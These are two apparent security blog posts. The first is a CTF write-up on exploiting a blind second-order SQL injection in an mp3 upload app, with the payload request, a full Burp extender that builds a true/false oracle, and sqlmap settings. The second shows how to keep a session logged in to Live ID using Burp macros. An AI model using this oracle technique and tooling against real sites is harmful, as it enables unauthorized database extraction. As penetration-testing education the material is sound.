Blind Second Order SQL Injection with Burp and SqlMap

My favorite challenge on codegate this year was a second order SQL injection (yes, the ‘easy’ 100 level one). It wasn’t blind – that was even one of the hints early on. But I got to thinking about how I would exploit a blind second order SQL injection, and I decided to go that route. It’s something I’d never done before, and I thought it was an interesting problem. (I go off on tangents a lot – acme is awesome for still letting me be a pretty much non-contributing member of their team).

The Injection

The scenario was an mp3 player application, and the goal was to get what the admin was listening to. The injectable query is here, in the genre parameter:

POST /mp3_world/index.php?page=upload HTTP/1.1
Host: 1.237.174.123:3333
Content-Type: multipart/form-data; boundary=---------------------------265001916915724
Content-Length: 404

-----------------------------265001916915724
Content-Disposition: form-data; name="mp3"; filename='badfi"le.mp3'
Content-Type: text/plain

bad'"
-----------------------------265001916915724
Content-Disposition: form-data; name="genre"

if(1=1 ,1, 2)
-----------------------------265001916915724
Content-Disposition: form-data; name="title"

9 95
-----------------------------265001916915724--

Notice the  if(1=1 ,1, 2). In a second response, it will show [hiphop] if the query evaluates to true, and something else if it’s not true.

So the right way to proceed is to see if you can get information into the data output (e.g. the non-blind route). But say this is all the information you had, an oracle on another page from the request; an injection in request 1 and an oracle in response 2. Obviously, this is still exploitable, but how?

Extending Burp to Return the Oracle to an Injection Request

So here’s the strategy:

  • Do the injection request.
  • The response for the first request is meaningless – there’s no injection there. Throw it away and replace it with a response from a separate request that triggers the injection. Here, I just return TRUE if 1=1, False if not. Tools like sqlmap can work with this for blind sqli
  • Clean up; because the oracle is stored, we need to clean up old oracles that indicate whether the comparison was successful

The following code does this:

package burp;

import java.net.*;
import java.util.*;
import java.util.regex.*;
import java.io.*;

public class BurpExtender
{
    public IBurpExtenderCallbacks mCallbacks;

    //victimRequest is the value that triggers the alternate response
    public static String victimRequest = "1.237.174.123";
    //replacementResponse replaces the response with this new one
    public static String replacementResponse = "http://1.237.174.123:3333/mp3_world/?page=player";
    public static String injectionOracle = "[hiphop]";
    public static String deleteOld = "http://1.237.174.123:3333/mp3_world/?page=upload&del=";

    public void processHttpMessage(String toolName, boolean messageIsRequest, IHttpRequestResponse messageInfo)
    {
        if (!messageIsRequest)
        {
            if (messageInfo.getHost().equals(victimRequest))
            {
                boolean respvalue = false;
                try {
                    //assume this is our sql injection response; make a second request to return
                    System.out.println("This request needs a modified response");
                    //make a request to the second order to see if True or False
                    //with this one, no need for cookies or anything - it's based on IP
                    URL sqlcheck = new URL(replacementResponse);
                    URLConnection sc = sqlcheck.openConnection();
                    BufferedReader in = new BufferedReader(new InputStreamReader(sc.getInputStream()));

                    String inputLine;
                    String delIndex = "";
                    //if injectionOracle is in sqlcheck response, and the resp number in the title true. If not, false
                    while ((inputLine = in.readLine()) != null)
                    {
                        if (inputLine.contains(injectionOracle))
                            respvalue = true;
                        //grab all the indexes so we can delete them later = format "idx=?"
                        if (inputLine.contains("idx="))
                        {
                            int sindex = inputLine.indexOf("idx=");
                            int eindex = inputLine.indexOf(""", sindex);
                            delIndex = inputLine.substring(sindex+4, eindex);
                        }
                    }
                    in.close();
                    String resp;
                    if (respvalue)
                        resp = "True";
                    else
                        resp = "False";
                    byte[] bResp = resp.getBytes();

                    messageInfo.setResponse(bResp);

                    //Clean up old songs
                    System.out.println("Deleting " + delIndex);
                    String delstr = deleteOld + delIndex;
                    URL delRequest = new URL(delstr);
                    URLConnection deslc = delRequest.openConnection();
                    in = new BufferedReader(new InputStreamReader(deslc.getInputStream()));
                    in.close();

                }
                catch (java.io.IOException ex){
                    System.out.println("something's wrong");
                }
                catch (java.lang.Exception ex){
                    System.out.println("something else is wrong");
                }
            }
        }

    }

    public void registerExtenderCallbacks(IBurpExtenderCallbacks callbacks)
    {
        mCallbacks = callbacks;
    }
}

To compile, it should look like this (the source file is BurpExtender.java). Here’s a command dump as a sanity check


PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> ls

Directory: C:UsersmopeyDocumentscodeburp_pluginssql_injection

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----         2/25/2012   5:00 PM            burp
-a---         2/25/2012   5:00 PM       6445 BurpExtender.java
-a---         2/25/2012   3:47 PM        571 requestfile.ini
-a---         2/25/2012   6:16 PM      17168 sqlmap.config

PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> javac .BurpExtender.java
Note: .BurpExtender.java uses or overrides a deprecated API.
Note: Recompile with -Xlint:deprecation for details.
PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> rm .burpBurpExtender.class
PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> mv .BurpExtender.class .burp
PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> jar -cf .burpextender.jar .burpBurpExtender.class
PS C:UsersmopeyDocumentscodeburp_pluginssql_injection> cd .burp
PS C:UsersmopeyDocumentscodeburp_pluginssql_injectionburp> ls

Directory: C:UsersmopeyDocumentscodeburp_pluginssql_injectionburp

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
-a---         2/25/2012   7:37 PM       4062 BurpExtender.class
-a---         2/24/2012  11:51 PM        345 burpextender.jar
-a---          6/3/2011   7:56 AM       7919 IBurpExtender.java
-a---         2/24/2012  11:19 PM       1587 IBurpExtenderCallbacks.class
-a---         2/24/2012  11:04 PM      13131 IBurpExtenderCallbacks.java
-a---         2/24/2012  11:19 PM        659 IHttpRequestResponse.class
-a---          6/3/2011   7:55 AM       4040 IHttpRequestResponse.java
-a---         2/24/2012  11:19 PM        196 IMenuItemHandler.class
-a---          6/3/2011   7:56 AM       1453 IMenuItemHandler.java
-a---         2/24/2012  11:19 PM        477 IScanIssue.class
-a---          6/3/2011   7:56 AM       2826 IScanIssue.java
-a---         2/24/2012  11:19 PM        347 IScanQueueItem.class
-a---          6/3/2011   7:56 AM       2309 IScanQueueItem.java

Then to run:

java -Xmx512m -classpath burpextender.jar;burpsuite_pro_v1.4.05.jar burp.StartBurp

With this, you can make requests with Burp and it returns True or False in the single response.

Fenangling sqlmap

It took a little more work to get sqlmap working happily. One annoying thing is Burp’s proxy. It has a match and replace, but it doesn’t work well with multiple line things. Also, sqlmap doesn’t play well with multi-part forms.

I ended up using the extender more, and matching on words like how the match and replace in Burp’s proxy should work. This is a common trick, but it nearly doubled the code above to make everything happy (think multiple wrong content-lengths and url decodings and whatnot).

That said, the idea is straightforward. My base request looked something like this, and sqlmap was injecting into the ‘1’. By the way, the syntax is MySql.

asdfghbleh=1&aftercrap=crap

Replace asdfghbleh= with “if (1=”

Replaces &aftercrap=crap with “,1,2)”

So, for example, the base query has (in the genre param)

if (1=1, 1, 2)

Sqlmap is happy at this point, and you can run arbitrary queries. When running sqlmap, I generally like to use the config file. Here are some of the changes for the initial sql injection detection.


#Base request from repeater with tags
requestFile = requestfile.ini
proxy = http://localhost:8080
testParameter = asdfghbleh
dbms = mysql
tech = B

After a happy base run, I enumerated databases, tables, and columns just like usual. As expected, it took a while to actually get information out (on the order of a couple hours) but I still think this is pretty slick. If this were actually blind I imagine it would be rated harder than 100 level. Dumping everything at once is way more efficient and all, but every time sqlmap decodes an arbitrary character, all I see anymore is blonde, brunette, redhead…

Auto login to LiveID with Burp Macros/Session

A common problem when doing a web app assessment is being logged out. This sort of thing sucks. It can happen for a variety of reasons. For example, I’ve run across sites that have short timeouts, and I’ve run across sites that log you out whenever a WAF fires. In scenarios like these, it’s handy to automate the process of logging back in.

This post is about how to do that using Burp macros and session handling against Live ID. The same technique could be used against almost any website with a login (gmail, facebook, yahoo, etc.) so this really isn’t a problem with Live at all. In 2010 I wrote a burp plugin that automated this same situation, but luckily since then Burp has improved and the plugin is no longer necessary.

To clarify what I’m trying to do

For the sake of clarity, say I want to be logged in to *.live.com, no matter what.  For example, an unauthenticated request to mail.live.com might look something like this.

and notice burp’s cookie jar is also empty

But it doesn’t matter. The request goes through anyway, exactly as if I were logged in in the first place.

The same thing should happen if I’ve logged out, been logged out, my session expired, etc. The same thing should happen whether I’m in repeater, scanner, intruder, etc. I just want to always be logged in.

First, the easy way

If you load this burp config file it will have everything pretty much setup to auto login to live. All you should need to do is to add your creds to the ‘mail.live.com login’ macro in request 3 where it says YOURUSER and YOURPASSWORD.

auto_login.burp

The following steps are starting from scratch, but might be useful if you’re trying the same thing elsewhere.

1. Create a macro that logs in to LiveID

This setting is under Options->Sessions->macros.  Here you want to create a rule that re-logs in. I used four requests to simulate a login to hotmail, though it could be various live.com sites. The requests looked something like this:

Request 1:


GET / HTTP/1.1
HOST: hotmail.com

Request 2:

Grab all the parameters from the request 1 redirect


GET /login.srf?wa=wsignin1.0&rpsnv=11&ct=1328218303&rver=6.1.6206.0&wp=MBI&wreply=http:%2F%2Fmail.live.com%2Fdefault.aspx&lc=1033&id=64855&mkt=en-us&cbcxt=mai&snsc=1 HTTP/1.1
Host: login.live.com

Request 3 – you’ll notice a csrf value in the page retrieved from Request 2 (PPFT). Grab that and put it in the request.


POST /ppsecure/post.srf?wa=wsignin1.0&rpsnv=11&ct=1328218303&rver=6.1.6206.0&wp=MBI&wreply=http:%2F%2Fmail.live.com%2Fdefault.aspx&lc=1033&id=64855&mkt=en-us&cbcxt=mai&snsc=1&bk=1328218331 HTTP/1.1
Host: login.live.com
Referer: https://login.live.com/login.srf?wa=wsignin1.0&rpsnv=11&ct=1328218303&rver=6.1.6206.0&wp=MBI&wreply=http:%2F%2Fmail.live.com%2Fdefault.aspx&lc=1033&id=64855&mkt=en-us&cbcxt=mai&snsc=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 464

login=yourlogin%40live.com&passwd=yourpassword&type=11&LoginOptions=3&NewUser=1&MEST=&PPSX=PassportRN&PPFT=CqTbnZVc0cSaatYmid%21*X3vaE0zlJd%21CuSvWW5KR7oo821b05kJ*q*QI86LZ%21KAITFA45s%21j9AS1hbDBJ8l*Dm6WaSaeLkqwQoalApRiYR6JDKnYED4j*mxlN5aS1SOzap5Ny2ATyi041M1nfhrnlMUFQQxem5miQ1B1wSFtsmJyJyuJ1WxnC*1D6AVXpDYoUS7vQ9z6ybDQ3Zt3MsXM*DYw2yCpt0hnsRm2RmosTXhwBLxbtfIZQWCYJJ6Pimw4yg%24%24&idsbho=1&PwdPad=&sso=&i1=1&i2=1&i3=29830&i4=&i12=1&i13=&i14=1092&i15=1506&i16=9462&i17=

Request 4, actually might not be necessary… but just follow the redirect again.

One piece here is extracting information from previous requests. To do this, configure the individual requests and create a custom parameter in the response. For example, in request 2, highlight the PPFT value and burp will take care of adding it. It should end up looking something like this:

Most the parameters can be prefilled in request 3, but the canary takes that extra step.

2. Create Session Rules that Detect if you’re logged out, and if you are, call the macro from step 1

Like step 1, this is pretty straightforward using burp. Go to the session handling section and create a new rule. In that rule, add a a “Rule action”. This action checks if a session is valid or not, and if it’s not, it runs the macro we just created. In this case, I detect if I’m logged out if I’m redirected to login.live.com or if I see “Windows Live ID requires JavaScript to sign in.” in the response.

^^ this is the redirect check

If I am logged out, I tell the session handling action to call the macro we created.

The last thing that’s necessary here is to define the scope, both in terms of the tools and the sites. For me, I added all tools to the scope other than the proxy, and live.com to the URL scope.

3. Troubleshoot using sessions tracer

One essential debugging tool is to use the session tracer. A good trace should look something like the following:

Go through the requests one by one to make sure everything goes as expected, first the detection that you’re not logged in, then the various requests necessary to login.

Anyway, it took me a bit to get this working properly, so hopefully this is helpful. Have fun!